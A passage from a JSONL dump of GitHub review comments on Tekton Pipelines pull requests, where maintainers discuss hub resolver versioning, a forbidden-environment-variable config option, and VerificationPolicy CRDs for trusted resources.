gitresolver](https://github.com/tektoncd/pipeline/blob/7189162fd3ff5d9aa11b7090134aab5566f1cfbc/pkg/resolution/resolver/git/resolver.go#L406) and this helper function does 3 things: 1/. populate the params with default from configmap and from user-provided spec, 2/. validate param values, 3/. find missing params. \r\n\r\nThis can bring 2 benefits to us 1/. make sure we do the 3 things mentioned above consistently throughout both `ValidateParams` and `Resolve` functions. 2/. collect all the missing params together and tell users only once the names of all missing params instead of finding one missed -> return error. ", "comment_id": 1003571064, "created_at": "2022-10-24T17:24:05Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "> Just curious why we don't use https://pkg.go.dev/crypto/sha256#Sum256 here? Any difference between Sum256 and the current approach we used?\r\n\r\nThanks for the comments, @chuangw6! I think the difference is that it used hex encoding of the check sum. It could be easier to interpret if we want to display the value based on the post here: https://stackoverflow.com/a/10701951.\r\n\r\nHappy to remove the encoding part if not necessary to you :)", "comment_id": 1003600533, "created_at": "2022-10-24T17:57:28Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "wlynch", "body": "@chuangw6 I wouldn't worry about it too much - these are functional equivalent.", "comment_id": 1003640009, "created_at": "2022-10-24T18:46:24Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Good point. I agree the point that we can returning all missing values in one error message, that definitely helps users. I get the point you want to do the mutation first before validation, but I'm not sure if doing the three things in 1 helper function really helps (as I personally don't expect value population functionality in a `validate()` helper method).\r\n\r\nI can refactor this part to 2 helper functions: `validate()` and `populateDefaultParams()`? And we can also apply the same idea in git resolver later separately.", "comment_id": 1003641232, "created_at": "2022-10-24T18:47:54Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "wlynch", "body": "I'm a bit concerned about doing this - i.e. if someone takes this version and tries to fetch the config, will this guarantee to always work? i.e. if artifacthub publishes `0.1`, will I *always* be able to fetch `0.1.0` and will this *always* map to `0.1`? Or could a different `0.1.0` be added after?\r\n\r\nThere's an argument that maybe the resolver shouldn't try to interpret semver and just always handle versions as-is.", "comment_id": 1003645152, "created_at": "2022-10-24T18:52:40Z", "line": 267, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "wlynch", "body": "This seems fine! \ud83c\udf89 ", "comment_id": 1003645716, "created_at": "2022-10-24T18:53:17Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Sure, I can use a helper method for the `tc.expectedErr != nil` branch to save a bit duplicate code \ud83d\ude04 . But I don't see much value to refactor the `tc.expectedErr == nil` branch \ud83e\udd14 ", "comment_id": 1003648713, "created_at": "2022-10-24T18:57:06Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver_test.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Hi @wlynch, thanks for your input and this is a good question \ud83d\ude00 . The short answer is **yes**. If artifacthub publishes 0.1, and I will always be able to fetch 0.1.0\r\n\r\nThe artifact hub will always convert the [resource yaml version](https://github.com/tektoncd/catalog/blob/962f9005350b1acb359558b6c5aafc420e0beb46/task/git-clone/0.8/git-clone.yaml#L6) to semVer (i.e. `0.6` -> `0.6.0`) and the Hub uses the semVer to index the corresponding resource.\r\n \r\nSo technically you can publish a resource with yaml version `0.6` first (which is converted to `0.6.0` in the Hub), and then publish another yaml version of `0.6.0`, it just overrides the previous `0.6.0` version in the Hub. But the API will always return the latest `0.6.0`\r\n\r\nThe main reason I put such conversion is for backward compatibility, so that current users can keep version 0.6 in the resolver, and the type is default to `artifact`\r\n\r\n", "comment_id": 1003726558, "created_at": "2022-10-24T20:17:32Z", "line": 267, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "SGTM!", "comment_id": 1003747585, "created_at": "2022-10-24T20:40:52Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver_test.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "SG! Keeping it as is makes sense to me! Thanks @QuanZhang-William @wlynch !", "comment_id": 1003748181, "created_at": "2022-10-24T20:41:39Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "SGTM! 2 helpers will make things even more clear. \ud83d\udc4d \r\n\r\necho what you said - I couldn't tell that the populateDefaultParams in gitresolver does two jobs until I saw the implementation also returns validation error.", "comment_id": 1003750027, "created_at": "2022-10-24T20:44:10Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "abayer", "body": "> echo what you said - I couldn't tell that the populateDefaultParams in gitresolver does two jobs until I saw the implementation also returns validation error.\r\n\r\nYeah, that's my bad - I'm prone to seeing code that does much of the work for two different things and just combining the code a bit more often than I should be. =)", "comment_id": 1003761323, "created_at": "2022-10-24T20:57:40Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "@abayer NOT A PROBLEM AT ALL! It's still a very good example for how to reuse code for other resolvers \ud83d\udc4d !!! \ud83d\ude04 ", "comment_id": 1003771224, "created_at": "2022-10-24T21:08:29Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Cool! @chuangw6 , added the rr.URL value, PTAL.", "comment_id": 1003836332, "created_at": "2022-10-24T22:43:56Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Good catch, fixed!", "comment_id": 1003837703, "created_at": "2022-10-24T22:46:28Z", "line": null, "path": "docs/hub-resolver.md", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "@abayer, @chuangw6. I refactored the code based on discussion here, PTAL \ud83d\ude01 ", "comment_id": 1003838188, "created_at": "2022-10-24T22:47:11Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "jerop", "body": "instead of changing this test, can we leave it as is to use the tekton hub, and add `type: tekton` to the test case?\r\n\r\nthen we can add another test case that defaults to artifact hub? \r\n\r\nwant to make sure that both scenarios are covered in the end-to-end tests", "comment_id": 1004504083, "created_at": "2022-10-25T13:40:07Z", "line": 193, "path": "test/resolvers_test.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Sure, the reason I changed it because we will deprecate `https://api.hub.tekton.dev` soon. We need to make sure to delete the test case after the deprecation. \r\n", "comment_id": 1004515907, "created_at": "2022-10-25T13:49:19Z", "line": 193, "path": "test/resolvers_test.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "jerop", "body": "ah I see, how soon are we planning to remove it? so users can use hub resolver with their own tekton hub instances?\r\n\r\n", "comment_id": 1004521107, "created_at": "2022-10-25T13:53:20Z", "line": 193, "path": "test/resolvers_test.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Yeah, exactly! Based on the current progress (https://github.com/tektoncd/hub/issues/667), I think we can deprecate `https://api.hub.tekton.dev` in late Dec 2022 or early 2023. And yes, user must configure their own instance of Tekton Hub to use `tekton type` \ud83d\ude04 \r\n\r\n", "comment_id": 1004527270, "created_at": "2022-10-25T13:58:12Z", "line": 193, "path": "test/resolvers_test.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "wlynch", "body": "I'd lean towards dropping this for the new artifacthub impl:\r\n\r\n1. semver with a missing minor/patch version generally uses the latest version matching the prefix (i.e. the golang 1.19 docker image refers to the latest patch version 1.19.2) - I'm not sure we want to have the resolver implement this kind of lookup behavior.\r\n2. I'm worried about version skew for ArtifactHub URLs - e.g. https://artifacthub.io/packages/tekton-task/tekton-catalog-tasks/git-clone/0.8.0 (even though this points to the 0.8 git tag), but https://artifacthub.io/packages/tekton-task/tekton-catalog-tasks/git-clone/0.8 404s.\r\n\r\nIt'll probably be simpler long term for the resolver to interpret the user provided version tag as-is, so it always matches the upstream state (up to you if you want to preserve the old behavior for compatibility).", "comment_id": 1004838517, "created_at": "2022-10-25T18:31:25Z", "line": 267, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "The Artifact Hub always converts the [resource yaml version](https://github.com/tektoncd/catalog/blob/962f9005350b1acb359558b6c5aafc420e0beb46/task/git-clone/0.8/git-clone.yaml#L6) and git tag to semVer [here](https://github.com/Masterminds/semver/blob/b8121eb457fd2944a4bf285e3197f729f5595b95/version.go#L156) (by appending 0 as minor and patch version if missing) and requires the exact match between the 2 after conversion. \r\n\r\nFor 2, I don't think there is version skew for the Artifact Hub URL since all the valid URLs will use semVer no matter how do you tag the repo, and URLs with simple semver will always return 404s.\r\n\r\nBecause the resource is indexed by the [resource yaml version](https://github.com/tektoncd/catalog/blob/962f9005350b1acb359558b6c5aafc420e0beb46/task/git-clone/0.8/git-clone.yaml#L6), we cannot use the latest version matching the prefix logic here (so we can only append 0s).\r\n\r\nSo it seems to me that the lookup here brings the extra backward compatibility benefit and does not cause any problems (i.e. version `0.6` and version `0.6.0` in the hub resolver always points to the same resource)?\r\n", "comment_id": 1006916697, "created_at": "2022-10-27T14:02:00Z", "line": 267, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Thoughts? @jerop @abayer @vdemeester?", "comment_id": 1006968784, "created_at": "2022-10-27T14:40:00Z", "line": 267, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "wlynch", "body": "non-blocking: When Tekton bumps to Go 1.19, you can replace this with https://pkg.go.dev/net/url#JoinPath \ud83d\ude0e ", "comment_id": 1008264120, "created_at": "2022-10-28T16:47:41Z", "line": 54, "path": "cmd/resolvers/main.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "Is this due to, one of the previous commits missed codegen", "comment_id": 1012680672, "created_at": "2022-11-03T09:43:52Z", "line": null, "path": "docs/pipeline-api.md", "pr_number": 5699, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Wondering if it might help to just delete this and run `./hack/update-codegen` again?", "comment_id": 1020270958, "created_at": "2022-11-11T14:33:18Z", "line": null, "path": "docs/pipeline-api.md", "pr_number": 5699, "repo": "pipeline"} +{"author": "XinruZhang", "body": "Is this for debugging or logging? If it's for logging, would it be better if we use logger here? similar to https://github.com/tektoncd/pipeline/blob/a01f1b13973b29746f933b670c0c370e54124bdc/pkg/reconciler/taskrun/taskrun.go#L99", "comment_id": 1028536645, "created_at": "2022-11-21T21:36:31Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "XinruZhang", "body": "Do we want to follow the same naming convention here? --`DefaultForbiddenEnvs` ", "comment_id": 1028540596, "created_at": "2022-11-21T21:42:08Z", "line": null, "path": "pkg/apis/config/default.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "Everything default has default value associated with it, for this one I am not sure if there is any.", "comment_id": 1028828741, "created_at": "2022-11-22T04:57:17Z", "line": null, "path": "pkg/apis/config/default.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "However, if you still feel that this should be named `DefaultForbiddenEnvs`, I can do it.", "comment_id": 1029218792, "created_at": "2022-11-22T11:34:33Z", "line": null, "path": "pkg/apis/config/default.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "XinruZhang", "body": "Hi Prashant, I do prefer we follow the name convention, if we don't think this variable holds any default value, we may want to put it in other configmaps instead of the `default` one \ud83e\udd14 (similar to https://github.com/tektoncd/pipeline/blob/main/pkg/apis/config/store.go)? But it is also acceptable if we say, by default, this variable is empty, wdyt?", "comment_id": 1029445396, "created_at": "2022-11-22T15:03:52Z", "line": null, "path": "pkg/apis/config/default.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: can we please split on just comma instead of comma along with a space to allow variables without following such strict guidelines?\r\n\r\nAlso, can we replace an array of strings with `sets.NewString()` followed by `Insert()` to filter accidental duplicates. ", "comment_id": 1035140461, "created_at": "2022-11-29T18:42:46Z", "line": 167, "path": "pkg/apis/config/default.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT:\r\n\r\nGo 1.18 introduced this experimental package to check if an element exists in an array of strings - https://golangtutorial.dev/tips/golang-slice-contains-method/\r\n\r\nWe could try utilizing it in future.", "comment_id": 1035159296, "created_at": "2022-11-29T18:54:25Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "pritidesai", "body": "Is this valid having same environment variable with distinct values? Apologies if this has been discussed before.", "comment_id": 1035163559, "created_at": "2022-11-29T18:57:08Z", "line": 1610, "path": "pkg/pod/pod_test.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "This is called `env` in the k8s container API https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.25/#container-v1-core. Since the naming of the rest of the fields is aligned with the container API, I think the extra \"s\" will be a source of confusion for users.\r\n\r\n", "comment_id": 1035263776, "created_at": "2022-11-29T20:40:15Z", "line": null, "path": "pkg/apis/pipeline/pod/template.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: similar to `Envs` -> `Env`, this should be called `default-forbidden-env`:", "comment_id": 1035271138, "created_at": "2022-11-29T20:49:59Z", "line": null, "path": "config/config-defaults.yaml", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "I wonder where this change comes from?", "comment_id": 1035272451, "created_at": "2022-11-29T20:51:53Z", "line": null, "path": "docs/pipeline-api.md", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "Could you please add it to the [configuration documentation](https://github.com/tektoncd/pipeline/blob/main/docs/install.md)? This new config option is not documented anywhere, there are no examples anywhere, except for the test data.", "comment_id": 1035276946, "created_at": "2022-11-29T20:57:18Z", "line": 167, "path": "pkg/apis/config/default.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "The new field in the pod template should be here too, I wonder why this is not caught by the build test.", "comment_id": 1035281475, "created_at": "2022-11-29T21:03:24Z", "line": null, "path": "docs/pipeline-api.md", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: extra line", "comment_id": 1035282568, "created_at": "2022-11-29T21:04:59Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "It would be good to include it in the docs as well. ", "comment_id": 1035290747, "created_at": "2022-11-29T21:15:15Z", "line": 223, "path": "pkg/pod/pod.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "Yes, it's valid, the last one in the list takes precedence.\r\nThat's how the order of precedence has been implemented, by appending to the list.", "comment_id": 1035294482, "created_at": "2022-11-29T21:18:50Z", "line": 1610, "path": "pkg/pod/pod_test.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "What is the nolint for?", "comment_id": 1035316487, "created_at": "2022-11-29T21:46:45Z", "line": 238, "path": "pkg/pod/pod.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "afrittoli", "body": "2022", "comment_id": 1035743114, "created_at": "2022-11-30T09:42:32Z", "line": null, "path": "pkg/apis/config/testdata/config-defaults-forbidden-envs.yaml", "pr_number": 5699, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "splitting with \", \", includes splitting with comma/comma+space. By splitting only with comma, there may be an extra space that needs to removed from each item.\r\n", "comment_id": 1035877864, "created_at": "2022-11-30T11:55:04Z", "line": 167, "path": "pkg/apis/config/default.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "@pritidesai You were correct, in golang it tries to split by comma+space. ", "comment_id": 1037059738, "created_at": "2022-12-01T12:38:19Z", "line": 167, "path": "pkg/apis/config/default.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Should a webhook validation error be thrown if a user is trying to update a `forbidden env`? Might be better user experience this way instead of allowing a user to provide it and silently rejecting it?", "comment_id": 1042462064, "created_at": "2022-12-07T17:00:08Z", "line": 382, "path": "docs/install.md", "pr_number": 5699, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "shouldn't there be a similar update to `v1/pipelinerun_validation.go`?", "comment_id": 1053377681, "created_at": "2022-12-20T14:28:47Z", "line": 341, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "@chitrangpatel Are you referring to this update?", "comment_id": 1053522913, "created_at": "2022-12-20T16:39:02Z", "line": 295, "path": "pkg/apis/pipeline/v1/pipelinerun_validation.go", "pr_number": 5699, "repo": "pipeline"} +{"author": "bobcatfish", "body": "can you add some more detail about what the values mean inside the new CRD and how to use it? including details like what the fields mean, what the `pattern` is matched against, maybe some examples", "comment_id": 1019681636, "created_at": "2022-11-10T22:50:55Z", "line": 99, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "are these labels required for the VerificationPolicy to work or are they optional? id include in the example only the fields that are required for this to work properly (e.g. are the name and namespace important, or is there configuration somewhere that tells the Pipelines controller how to look for them?", "comment_id": 1019684497, "created_at": "2022-11-10T22:56:04Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I think it might make sense to add some docs at https://github.com/tektoncd/pipeline/blob/main/docs/install.md as well? even if they just link to these docs", "comment_id": 1019684547, "created_at": "2022-11-10T22:56:10Z", "line": 136, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "can you explain a bit about what these new test cases are covering that the previous cases weren't? i wonder if we need 2 completely new tests, or if we can tweak something in the existing tests? maybe update the existing test cases to use the VerificationPolicy CRD?", "comment_id": 1019686022, "created_at": "2022-11-10T22:58:52Z", "line": 226, "path": "test/trusted_resources_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes this is mainly to make sure we could fetch public keys from `VerificationPolicy`. I have updated the test cases to use VerificationPolicy!", "comment_id": 1019760450, "created_at": "2022-11-11T01:47:56Z", "line": 226, "path": "test/trusted_resources_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! Added", "comment_id": 1019761093, "created_at": "2022-11-11T01:49:27Z", "line": 136, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh yes that's a good point. Labels are not necessary. \r\nI have updated this section to add more details and comments", "comment_id": 1019762454, "created_at": "2022-11-11T01:52:49Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! added!", "comment_id": 1019762646, "created_at": "2022-11-11T01:53:16Z", "line": 99, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This will increase more calls to api server. I think we should avoid this? \r\n\r\n1. One way is to remove the new crd and only use configmap to parse the data into the structured policy.\r\n\r\n2. The other is to create a new controller and converts it to configmap in the reconciler. \r\nLike https://github.com/sigstore/policy-controller/blob/ba6cdef1d82974440ea2eb23029fe6150bceb265/pkg/reconciler/clusterimagepolicy/clusterimagepolicy.go#L75-L105\r\nwdyt?\r\n@bobcatfish ", "comment_id": 1022154415, "created_at": "2022-11-14T23:09:40Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Another idea is to add `VerificationPolicyLister` into taskrun, pipelinerun reconcilers, will that address this issue? ", "comment_id": 1022273843, "created_at": "2022-11-15T03:13:17Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Do we want to start with an openapi spec + validation instead of doing the \"store everything validate later\" style we used for pipelines/tasks?", "comment_id": 1022989713, "created_at": "2022-11-15T16:10:40Z", "line": 33, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "What happens if multiple patterns match? Just 1 needs to match to pass?\r\n\r\n(haven't read the rest of the code yet, but this is probably good to know at a high level).", "comment_id": 1022998662, "created_at": "2022-11-15T16:18:12Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Probably worth documenting this with some more detail around what are the expected values for each remote resource type - e.g. does this differ for k8s API vs OCI bundle vs git repo? Is this the value of the URL we want to fetch or some other field?", "comment_id": 1022999333, "created_at": "2022-11-15T16:18:46Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "bikeshed:\r\n```suggestion\r\n\tAuthorities []Authority `json:\"authorities\"`\r\n```", "comment_id": 1023000322, "created_at": "2022-11-15T16:19:37Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Related conversation re how policy-controller does it - https://sigstore.slack.com/archives/C03096V09F1/p1668530097890569\r\n\r\nListers are a probably an okay starting point, though I think Hector + Jason + Matt raise great points around why resolving into the internal config map is probably a good idea long term.", "comment_id": 1023006153, "created_at": "2022-11-15T16:24:33Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "I'd recommend against doing this. If you want cluster-wide policies then we should add a cluster-scoped CRD, otherwise let's stick with the namespaced scoped policies.", "comment_id": 1023024363, "created_at": "2022-11-15T16:40:30Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "I'd just document this as being a regex not a glob instead of trying to do a tranformation here. Otherwise you might have confusion when `*` works but `example.com/*` doesn't.", "comment_id": 1023027383, "created_at": "2022-11-15T16:43:12Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Check error", "comment_id": 1023030022, "created_at": "2022-11-15T16:45:30Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Check error.", "comment_id": 1023030454, "created_at": "2022-11-15T16:45:51Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "This looks duplicated with the func above - should we pull this into a separate func?", "comment_id": 1023047565, "created_at": "2022-11-15T17:00:41Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Instead of parsing out the policy, why not just create the object directly?", "comment_id": 1023180236, "created_at": "2022-11-15T19:26:08Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "This should typically only be included in test files.", "comment_id": 1023246318, "created_at": "2022-11-15T20:50:34Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "is namespace used? and/or can we just take it from the pipelineobj?", "comment_id": 1023247302, "created_at": "2022-11-15T20:51:56Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "This seems very similar to the [KMS providers](https://pkg.go.dev/github.com/sigstore/sigstore@v1.4.5/pkg/signature/kms#AddProvider) - you might find this useful to model off of / plugin to.", "comment_id": 1023283740, "created_at": "2022-11-15T21:39:20Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "We should document what `source` is and what the expected value(s) should be. We're passing in `\"\"` as the value for a lot of places which may be a sign this isn't the best interface for this func.", "comment_id": 1023287564, "created_at": "2022-11-15T21:44:28Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Similar for verification policies - having to plumb through a variable across a bunch of different methods to use it somewhere further down the stack is also a sign that this may not be the right abstraction.\r\n\r\ni.e. it might be a good thought experiment if you had a minimal interface \"PipelineVerifier\" interface like \r\n\r\n```go\r\ntype PipelineVerifier interface{\r\n func VerifyPipeline(ctx context.Context, obj v1beta1.PipelineObject) error\r\n}\r\n```\r\n\r\nand see what changes would need to be made to configure things \ud83e\udd14 \r\n\r\n(I suspect this will probably be a larger refactor for how resources are fetched during reconcile, so this would be worth doing in another PR).", "comment_id": 1023293824, "created_at": "2022-11-15T21:52:37Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I haven't updated the api code. After the s3c wg discussion we decide to change it.\r\nStill, we will have a list of resourcespatterns. And if any of the pattern matches, we will fetch all the keys", "comment_id": 1023320500, "created_at": "2022-11-15T22:29:47Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "So can we just use lister in this pr, and mark configmap as a TODO?", "comment_id": 1023321499, "created_at": "2022-11-15T22:31:22Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes this is already removed \ud83d\ude02 ", "comment_id": 1023321942, "created_at": "2022-11-15T22:32:04Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "now I'm using a lister and it is namespaced scoped. The current code doesn't fetch policies from system namespace", "comment_id": 1023322337, "created_at": "2022-11-15T22:32:40Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yeah it is a pattern in current tests to parse the yaml, I remember there is an issue before to adopt this in tests\r\n I think it is also a good example of how to write a policy yaml.", "comment_id": 1023325878, "created_at": "2022-11-15T22:38:19Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes! This is no longer needed and should be removed", "comment_id": 1023326120, "created_at": "2022-11-15T22:38:42Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "For local resolver we don't have a `source` yet, that's why we pass \"\". \r\nyes this is a great suggestion! I think we can refactor this. I will mark this as a todo if it needs too many changes ", "comment_id": 1023332544, "created_at": "2022-11-15T22:48:27Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "`it will try to fetch keys from configmap as described in last section.` <-- could you link to the section instead? e.g. `[it will try to fetch keys from configmap](#config-key-at-configmap).`\r\n\r\nAlso: Why do we want to support both specifying the key via the ConfigMap AND via the VerificationPolicy? Or will the ConfigMap support be removed in a later PR? It seems like maybe it's just adding unnecessary to have two different ways of specifying this?", "comment_id": 1023332737, "created_at": "2022-11-15T22:48:45Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I noticed that this doc seems like it's trying to delegate to TEP-0091 to describe the design - i suggest you describe the functionality here as well explicitly, even if it feels like duplicating the TEP. There are a couple of reasons for this:\r\n\r\n* These docs are living docs and will get updates as changes are made, whereas TEPs will not (there might be new TEPs, and also issues and PRs that change the design and functionality)\r\n* The audience for each doc is different: TEPs are primarily for folks who work on Tekton to understand proposed changes, and these docs are for users of Tekton to understand how to use features", "comment_id": 1023334184, "created_at": "2022-11-15T22:51:01Z", "line": 97, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "what other values are supported?", "comment_id": 1023334601, "created_at": "2022-11-15T22:51:38Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "what is the format of this pattern? i think it is regex? can we link to some docs users can refer to so they know what they can put in this field?\r\n\r\n(as you add more detail to these comments they might get a little long - it might be clearer to add this text outside of the example)", "comment_id": 1023335142, "created_at": "2022-11-15T22:52:31Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks! removed this! It should be legacy code", "comment_id": 1023335773, "created_at": "2022-11-15T22:53:30Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "can you explain a bit about how the list works? i assume that having a signature that matches any of these keys will result in the resources matching the pattern being considered \"trusted\"? if a resource matches multiple patterns, does it need to match at least one key in each list?", "comment_id": 1023335848, "created_at": "2022-11-15T22:53:38Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "+1 to this question, I'd like to see the docs explain this as well", "comment_id": 1023336641, "created_at": "2022-11-15T22:54:54Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "There's some more context at 